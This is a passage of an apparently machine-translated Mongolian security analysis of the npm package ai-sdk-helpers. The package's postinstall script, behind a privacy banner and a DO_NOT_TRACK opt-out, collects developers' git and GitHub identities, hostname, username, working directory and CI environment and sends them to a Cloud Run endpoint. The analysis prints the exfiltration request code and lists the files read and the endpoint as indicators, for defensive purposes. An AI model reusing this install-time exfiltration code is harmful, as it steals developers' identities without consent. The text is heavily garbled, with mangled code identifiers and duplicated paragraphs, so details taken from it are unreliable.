TL, DR
Ганц npm багц, ai-sdk-туслагч, нь өөрийгөө Vercel AI SDK-д зориулсан үйлдвэрлэлийн хэрэгслийн хэрэгсэл болгон танилцуулж, зардлыг хянах, үйлчилгээ үзүүлэгчийн нөөц нөөц болон урсгалын туслагчдыг санал болгодог.
Үүний суулгах хугацааны скрипт нь дараахыг тайлбарласан өнгөлсөн мэдээллийн баннераар нээгдэнэ нэргүй оношлогоо, эх код, жетон эсвэл итгэмжлэл дамжуулагдахгүй гэж амлаж, хүндэтгэж байна DO_NOT_TRACK татгалзах, телеметрийн бодлогын хуудас руу холбох.
Дараа нь ижил скрипт нь хөгжүүлэгчийн git identity, GitHub CLI тохиргоо, машины хостын нэр, үйлдлийн системийн хэрэглэгчийн нэр, ажлын лавлах болон CI үйлчилгээ үзүүлэгчийг уншдаг.
Тэр өгөгдлийг JSON хэлбэрээр Google Cloud Run төгсгөлийн цэг рүү POST хийдэг бөгөөд энэ нь заасан телеметрийн бодлого болон цуглуулсан бодит талбаруудын хооронд тодорхой зөрүү үүсгэдэг.
Багцыг 83 секундын дотор хорин хоёр хувилбараар нийтэлсэн бөгөөд суулгах скрипт нь тэмдэглэгдсэн хувилбар бүрт байтаар ижил байна.
Бидний хянасан найман хувилбарын долоо нь pipeline Зөвшөөрлийн баннерын хэв маяг нь хууль ёсны телеметрийнхтэй адил уншигдсан тул ML ангилагчаар үнэмшилгүй гэж үнэлсэн.
Бид ангилдаг ai-sdk-helpers суулгалтын үеийн хөгжүүлэгчийн хувийн мэдээллийг цуглуулах болон устгахад үндэслэн хортой гэж үздэг.
Хүнд байдал: өндөр.
Суурилуулалтын анатоми
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } суулгасны дараах автоматаар ажилладаг npm суулгах, багцын зар сурталчилгааны кодыг импортлохоос өмнө. Скрипт скриптүүд/postinstall.js нь суулгах хугацааны бүх зан төлөв оршдог газар юм.
Энэ нь нууцлалд анхаардаг нээлттэй эхийн төслийн бүртгэлд бичигдсэн сэтгэгдэл бичих блок болон ажиллах хугацааны мэдэгдлээр нээгдэнэ:
>Та ai-sdk-helpers суулгах үед бид орчны нийцтэй байдлын хурдан шалгалтыг хийж, нэргүй оношилгоог мэдээлдэг... Өгөгдөл бүрэн нэргүй байдаг — бид таны платформ, Node хувилбар болон таны машины танигчийн нэг талын хэшийг цуглуулдаг. Эх код, жетон эсвэл итгэмжлэлийг хэзээ ч дамжуулдаггүй.
Энэ нь файл дахь анхны гүйцэтгэгдэх боломжтой код болох ажиллахаас татгалзах хаалгыг хүртэл холбодог:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } энэ хаалгыг эхлээд холбох нь үлдсэн хэсгийг нь зөвшилцөл гэж уншихад хүргэдэг: тохируулдаг хөгжүүлэгч `D_NOT_TRACK` суулгалтыг чимээгүйхэн дуусгаж, багцыг конвенцийг хүндэтгэн дуусгадаг. Хүндэтгэлтэй татгалзах нь бодит юм. Үүнийг тохируулаагүй хүн бүрийн хувьд доор тайлбарласан цуглуулга нь үүнийг хааж байгаа бөгөөд мэдэгдлийн нэрлэсэн нарийн "платформ, Node хувилбар, нэг талын хэш" биш юм.
Тэр хаалганы доор скрипт нь тухайн тайлбараас хамаагүй давсан ашигтай ачааллыг угсардаг.
- *Gт таних тэмдэг.* rшийдвэрлэхScmIdentity()` толгойнууд `~.gitconfig`,`~.config/git/config`,мөн одоогийн төслийн `.it/config`,`[-г задлан шинжилдэгсер]` хэсэг, мөн тохируулсан утгыг буцаана commit имэйл. Хэрэв ямар ч тохиргооны файл имэйл өгөхгүй бол энэ нь `G руу буцнаT_AUTHOR_EMAIL`,`GT_COMMITTER_EMAIL`,болон `EАИЛ` орчны хувьсагчууд. Функцийн дээрх docstring нь уншилтыг "нэг хүний эзэмшдэг машинууд (жишээ нь зөөврийн компьютер + CI) хооронд давхардсан суулгалтыг арилгах" арга гэж тодорхойлдог - энэ нь хөгжүүлэгч бүрийн тогтвортой танигчийг шаарддаг тодорхойлсон зорилго бөгөөд энэ нь commit имэйл хангамж.
- *GtHub бүртгэл.* rGitHubIdentity()`-г шийдвэрлэх толгойнууд `~.config/gh/hosts.yml` ба `~.config/gh/hosts.yaml` хөгжүүлэгч баталгаажуулах үед GitHub CLI-ийн бичсэн тохиргооны файл - мөн regex-ээр `u-г гаргаж авах үедэр:` ба `eайл:` талбарууд. Энэ файл нь мөн GitHub OAuth токеныг хадгалдаг; скриптийн регекс нь хэрэглэгчийн нэр болон имэйл мөрүүдийг тусгайлан чиглүүлдэг бөгөөд токеныг гаргаж авдаггүй. Тиймээс эргэн тойрны бүртгэлийн танигчдыг уншиж, илгээж байх үед задлах баннерын "ямар ч токен ... хэзээ ч дамжуулагдахгүй" гэсэн мэдэгдэл нь энэ талбарт үнэн юм.
- *Hst болон CI хурууны хээ.* тэр скрипт дараа нь `o` цуглуулдаг.хостын нэр()`,`o.userInfo().хэрэглэгчийн нэр`,Node хувилбар, платформ болон архитектур, `pocess.cwd()`,мөн найман үйлчилгээ үзүүлэгчийн орчны хувьсагчдыг шалгах замаар шийдэгдсэн CI үйлчилгээ үзүүлэгчийн шошго (GitHub Actions, GitLab CI, Jenkins, CircleCI, Travis, Buildkite, болон хоёр ерөнхий CI туг). Үйлчилгээ үзүүлэгчийн жагсаалт нь скрипт хаана ажиллахыг хүлээж байгаагийн жагсаалт гэж уншигддаг - интерактив бүрхүүлүүд болон автоматжуулсан бүтээлт. pipelineадилхан.
Эдгээрийг бүгдийг нь нэг `d-д бүлэглэсэн.агностикууд object, хөгжүүлэгч бүрийн талбаруудыг `i дор цуглуулсанаж ахуйн нэгж` ey болон `r доорх хостын өгөгдөлцаг хугацаа ба `cntext` нүднүүд, дараа нь цуврал болгон хувиргаж дамжуулдаг:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); Хариултыг хаяж, бүх алдааг залгисан - тайлбарт "телеметрийн суулгалтыг хэзээ ч тасалдуулах ёсгүй" гэж тэмдэглэсэн. Төгсгөлийн цэгийн хост нэр нь Google Cloud Run үйлчилгээг `e-д кодчилдог.олс-вест1` бүс нутаг.
Энэ завсар нь түүх юм. Баннер нь өгөгдлийн гурван ангиллыг нэрлэсэн - платформ, зангилааны хувилбар, машин танигч хэш. Ачаалал нь хөгжүүлэгчийн жинхэнэ git-ийг илгээдэг. commit имэйл, тэдний GitHub хэрэглэгчийн нэр болон имэйл, тэдний машины хост нэр болон үйлдлийн системийн бүртгэлийн нэр, тэдний төслийн зам, мөн тэдний CI орчин. *p-г тодорхойлсон талбаруудrson болон тэдний дансууд* тодруулгад орхигдуулсан талбаруудтай яг адилхан.
README нь нөгөө талаас хүрээг бататгадаг. Үүний “Телеметр” хэсэг нь нэрээ нууцалсан гэсэн мэдэгдлийг давтаж, `D` гэдэг үгийг холбодог._NOT_TRACK` o `cnsoledonottrack.com`,хүлээн зөвшөөрөгдсөн нууцлалыг зээлэх - татгалзах конвенцийг баримтжуулсан жинхэнэ нийгэмлэгийн хуудас standard мэдэгдлийг ердийн байдлаар уншихын тулд.
Цагийн хуваарь
Энэ бол маш богино, маш нягт хэвлэлийн түүхтэй ганц багц олдвор юм. Олон долоо хоногийн кампанит ажлын нумыг мөрдөх шаардлагагүй бөгөөд бүх хувилбарын хүрээг машины хурдаар шахсан.
| Хэзээ (UTC) | үйл явдал |
|---|---|
| 2026-06-03 20:31:20 | Эхний хувилбар (0.1.0) npm дээр нийтлэгдсэн. |
| 2026-06-03 20:31:20 – 20:32:43 | Бүх 22 хувилбар (0.1.0 дамжуулан 1.4.2) 83 секундын автомат тэсрэлт хэлбэрээр нийтлэгдсэн. |
| 2026-06-04 | Илрүүлэх дохиогоор тэмдэглэгдсэн найман хувилбар; гараар хийсэн шинжилгээ нь суулгах үеийн таних тэмдгийг цуглуулах болон гадагшлуулахыг баталгаажуулдаг. Шинжилгээний үед багц npm дээр ажиллаж байсан. |
22 семантик хувилбарын 83 секундын цонх нь өөрөө зан үйлийн үзүүлэлт юм: хувилбарын шат (`01.0`,`01.1`,... `14.2`)нэг скриптээр гүйцэтгэгдсэн хувилбарын түүхтэй идэвхтэй арчилгаатай төслийн гадаргууг харуулдаг. Суулгах скрипт нь энэ шатлалаар өөрчлөгддөггүй - доор үзнэ үү.
Буулт хийх үзүүлэлтүүд
Суулгах хугацааны ачаалал нь нийтлэгдсэн хувилбарын хүрээнд ижил байна. A `dff` f`sripts/postinstall.js` 0 хувилбарын хооронд2.1` nd хувилбар `14.2` ямар ч ялгаа буцаадаггүй; зан төлөв нь хувьсан өөрчлөгдөж буй ачаалал биш, харин нэг тогтмол хурууны хээ юм.
Сүлжээний
22 семантик хувилбарын 83 секундын цонх нь өөрөө зан үйлийн үзүүлэлт юм: хувилбарын шат (`01.0`,`01.1`,... `14.2`)нэг скриптээр гүйцэтгэгдсэн хувилбарын түүхтэй идэвхтэй арчилгаатай төслийн гадаргууг харуулдаг. Суулгах скрипт нь энэ шатлалаар өөрчлөгддөггүй - доор үзнэ үү.
Буулт хийх үзүүлэлтүүд
Суулгах хугацааны ачаалал нь нийтлэгдсэн хувилбарын хүрээнд ижил байна. A `dff` f`sripts/postinstall.js` 0 хувилбарын хооронд2.1` nd хувилбар `14.2` ямар ч ялгаа буцаадаггүй; зан төлөв нь хувьсан өөрчлөгдөж буй ачаалал биш, харин нэг тогтмол хурууны хээ юм.
Сүлжээний
| Үзүүлэлт | үүрэг |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | JSON төлбөртэй HTTPS POST хүсэлтийг хүлээн авч буй exfiltration төгсгөлийн цэг. Google Cloud Run дээр байршуулсан europe-west1 бүс нутаг. |
Хулгайн дэд бүтэц
| Үзүүлэлт | үүрэг |
|---|---|
ai-sdk.guide | "AI SDK Guide" зохиогчийн таних тэмдгийг дэмждэг багцын нүүр хуудас болон шууд сайт. |
ai-sdk.guide/telemetry | Суулгах хугацааны мэдээллийн мэдэгдэлд дурдсан телеметрийн бодлогын URL. |
hello@ai-sdk.guide | Зохиогчийн имэйл хаягаар мэдэгдсэн package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | Пакетаар зарлагдсан эх сурвалжийн репозитор. |
Суулгах үед уншсан файлууд
- -.gitconfig`,`~.config/git/config`,`<wd>/.git/config` git`[сер]` И-мэйл
- - .config/gh/hosts.yml`,`~.config/gh/hosts.yaml` GitHub CLI `uэр` `eайл
Зан үйлийн шинж тэмдэг
- – м `пзогсоол` багцалсан Node скриптийг дуудаж буй ook
- – татгалзах хаалга (`A_SDK_HELPERS_TELEMETRY_DISABLED`,`D_NOT_TRACK`)хувийн мэдээлэл цуглуулахаас өмнө нууцлалын функц хэлбэрээр танилцуулсан
- – git имэйл, GitHub таних тэмдэг, хостын нэр, үйлдлийн системийн хэрэглэгчийн нэр, cwd болон CI шошго агуулсан JSON объектын tbound HTTPS POST
- – хурдан хэвлэгдсэн хувилбарын шатлал дээрх ижил төстэй суулгах скрипт
Атрибут ба Ажиглагдсан Зан төлөв
Бид багц болон бүртгэлийн мета өгөгдлийн бүртгэлээс өөр юуг ч хамааруулдаггүй.
Бүртгэлийн npm хөтлөгч нь данс юм.элссимон`,хаягтай хамтiel@vigilance.security`.Бүртгэл нь тухайн имэйлийг баталгаажаагүй, харин бүртгэлийн эх сурвалжийн хяналтын таних тэмдгийг баталгаажаагүй гэж жагсаасан.ckage.json`,тусад нь, зохиогчийг “AI SDK Guide” гэж танилцуулж байна.ello@ai-sdk.guide>`”нүүр хуудастай-sdk.guide` болон `g-ийн доорх эх сурвалжийн репозиторthub.com/ai-sdk-guide` байгууллага. Нийтлэх бүртгэлийн имэйл домэйн (`vigilance.security`)болон багц доторх зохиогчийн таних тэмдэг (`a-sdk.guide`)өөр өөр домэйнууд байдаг.
"а"-sdk.guide` item ажиллаж байгаа бөгөөд хариу өгч байгаа бөгөөд `/элементометр` ath шийдэгддэг — заль мэхний таних тэмдэг нь үхсэн холбоос биш харин хүрч болох вэб оршихуйгаар дэмжигддэг бөгөөд энэ нь багцын хүрээний итгэл үнэмшлийг нэмэгдүүлдэг.
**Ажиглагдсан чадвар.** Суулгах үед багц нь хөгжүүлэгчийн таних тэмдэг болон бүртгэлийн тохиргооны файлуудыг уншиж, хост болон CI орчныг хээж, үр дүнг операторын хяналттай төгсгөлийн цэг рүү дамжуулдаг бөгөөд илүү нарийн, нэргүй өгөгдлийн багцыг тодорхойлсон мэдэгдлийг харуулдаг. Бид энэ зан төлөвийг тайлбарладаг; бид үүний шалтгааныг батлахгүй. Багцыг үнэлж буй уншигчид - түүний дотор нийтлэгдсэн таних тэмдгийг таньж буй аливаа тал - заасан болон бодит өгөгдлийн урсгалын хоорондох ажиглагдаж болох зөрүүг жинлэж үзэх хэрэгтэй.
Хамгаалагчдын нөлөөлөл, чиг хандлага, удирдамж
Хэн ил болсон бэ. Суулгасан хүн бүр ai-sdk-туслагч — шууд эсвэл шилжилтийн хамаарлын хэлбэрээр — цуглуулгыг тухайн машин дээр ажиллуулдаг. Учир нь триггер нь суулгасны дараах, өгөгдлийн урсгал үүсэхийн тулд зарлагдсан номын сангийн кодыг хэзээ ч импортлох шаардлагагүй; зөвхөн суулгах нь хангалттай. Хамгийн өндөр үнэ цэнэтэй орчин нь тохируулсан git таних тэмдэг болон баталгаажсан GitHub CLI бүхий хөгжүүлэгчийн ажлын станцууд болон CI runners бөгөөд скриптийн CI-үйлчилгээ үзүүлэгч нь цуглуулга нь build дотор ажиллах төлөвтэй байгааг харуулж байна. pipelineмөн зөөврийн компьютер дээр.
Энэ юуг илчилж байна. Ерөнхий тохиолдолд хэрэглээний нууц биш - ачаалал нь төвлөрдөг таних: хөгжүүлэгчийн commit имэйл, тэдний GitHub бүртгэлийн нэр болон имэйл хаяг, машин болон бүртгэлийн нэрс, мөн төслийн зам. Энэ бол урьдчилсан мэдээлэл юм.cisбагцыг хэн, ямар машин дээр, ямар репозиторт, аль CI систем дээр суулгасныг харуулсан цахим газрын зураг. Байгууллагын хувьд ийм цөөн хэдэн бичлэгийг хамтад нь авч үзвэл аль инженерүүд болон аль бүтээх системүүд хамааралтай байдлыг татаж авсныг жагсаасан болно - энэ нь багцын өөрийн зан төлөв нь цуглуулах, дамжуулах үед зогсдог ч гэсэн илүү чиглэсэн дараагийн үйл ажиллагааны урьдчилсан нөхцөл болгон ашигтай байдаг.
Чиг хандлага: телеметрийг хамрах хүрээ болгон ашиглах. Хууль ёсны хөгжүүлэгчийн хэрэгслүүд нь нэрээ нууцалсан суулгалтын оношлогоо, үүнийг хүндэтгэлтэйгээр хийх журмыг цуглуулдаг - задруулах мэдэгдэл, DO_NOT_TRACK хүндэтгэл, татгалзах тэмдэг, бодлогын URL зэрэг нь сайн мэддэг. ai-sdk-туслагч эдгээр дөрвөн конвенцийг бүгдийг нь үнэн зөв хуулбарлаж, тэдгээрийг хувийн мэдээлэл цуглуулах боодол болгон ашигладаг. Зөвшөөрлийн баннер, ажиллахаас татгалзах эсвэл нууцлалын бодлогын холбоос байгаа нь багц найдвартай гэсэн нотолгоо биш юм; эдгээр хяналтыг дуурайхад хямд байдаг. Цорын ганц найдвартай шалгалт бол код үнэндээ юу уншиж, хаашаа илгээж байгаа явдал юм.
Энэхүү сав баглаа боодол нь автоматжуулсан ангилалтад хэмжигдэхүйц нөлөө үзүүлдэг. Бидний хувилбаруудад pipeline хянаж үзсэний дараа суулгах скриптийн энгийн хэл дээрх тайлбарууд, бүтэцлэгдсэн талбарын нэрс болон уламжлалт татгалзах хаалга нь ердийн телеметр гэж үнэлэгдсэн: найман хувилбарын долоо нь буцаж ирсэн. итгэл үнэмшилгүй байна хортой гэхээсээ илүү ML ангилагчаас. Хоёрдмол утгыг шийддэг дохио нь үгэнд биш - энэ нь скриптийн нээсэн тодорхой файлуудад байдаг (~/.gitconfig, ~/.config/gh/hosts.yml) болон илгээх газар. Мэдээллийг уншаад тэнд зогссон автомат эсвэл хүний шүүмжлэгч буруу дүгнэлтэд хүрэх болно; тодорхойлолт нь өгөгдлийн урсгалын баримтуудаас гарах ёстой.
Хамгаалагчдын заавар:
- Анхдагчаар скриптийг идэвхгүй болгосон үед суулгах — npm суулгах –ignore-scripts, эсвэл тохируулна уу ignore-scripts=үнэн in .npmrc мөн шалгагдсан бүтээх алхмуудыг тодорхой ажиллуулна. Энэ нь саармагжуулдаг суулгасны дараах- бүх талын цуглуулгыг идэвхжүүлсэн.
- Татгалзах хяналтыг итгэлцлийн дохио гэж үзэж болохгүй. А DO_NOT_TRACK шалгах эсвэл "телеметрийн бодлого" холбоос нь хаалгыг тохируулаагүй үед скрипт цуглуулдаг өгөгдлийн талаар юу ч хэлэхгүй.
- Хиймэл оюун ухаант экосистемийн туслагч багцуудыг нэвтрүүлэхээсээ өмнө суулгах зааврыг уншина уу. Vercel Хиймэл оюун ухааны SDK орон зай нь хурдан хөдөлж буй, өндөр итгэлцэлтэй зорилт юм; суулгасны дараах тэр хүрдэг ~/.gitconfig or ~/.config/gh/ нь эргэн тойрны сэтгэгдлүүдийг хэрхэн бичсэнээс үл хамааран тодорхой дохио юм.
- Бүтээх хугацааны гаралтыг хянах. Гарах HTTPS POST npm суулгах, ялангуяа шинээр хангагдсан үүлэн функцийн төгсгөлийн цэгийн хувьд, сүлжээний түвшинд ажиглагдах боломжтой бөгөөд CI орчныг илрүүлэх хүчтэй цэг юм.
- Шахагдсан хувилбарын шатыг анхаарна уу. Семантик хувилбарын түүх нь өөрчлөгдөөгүй суулгалтын скрипттэй хэдхэн секундын дотор гарч ирдэг багц нь үйлдвэрлэсэн засвар үйлчилгээний түүхийг харуулж байна.





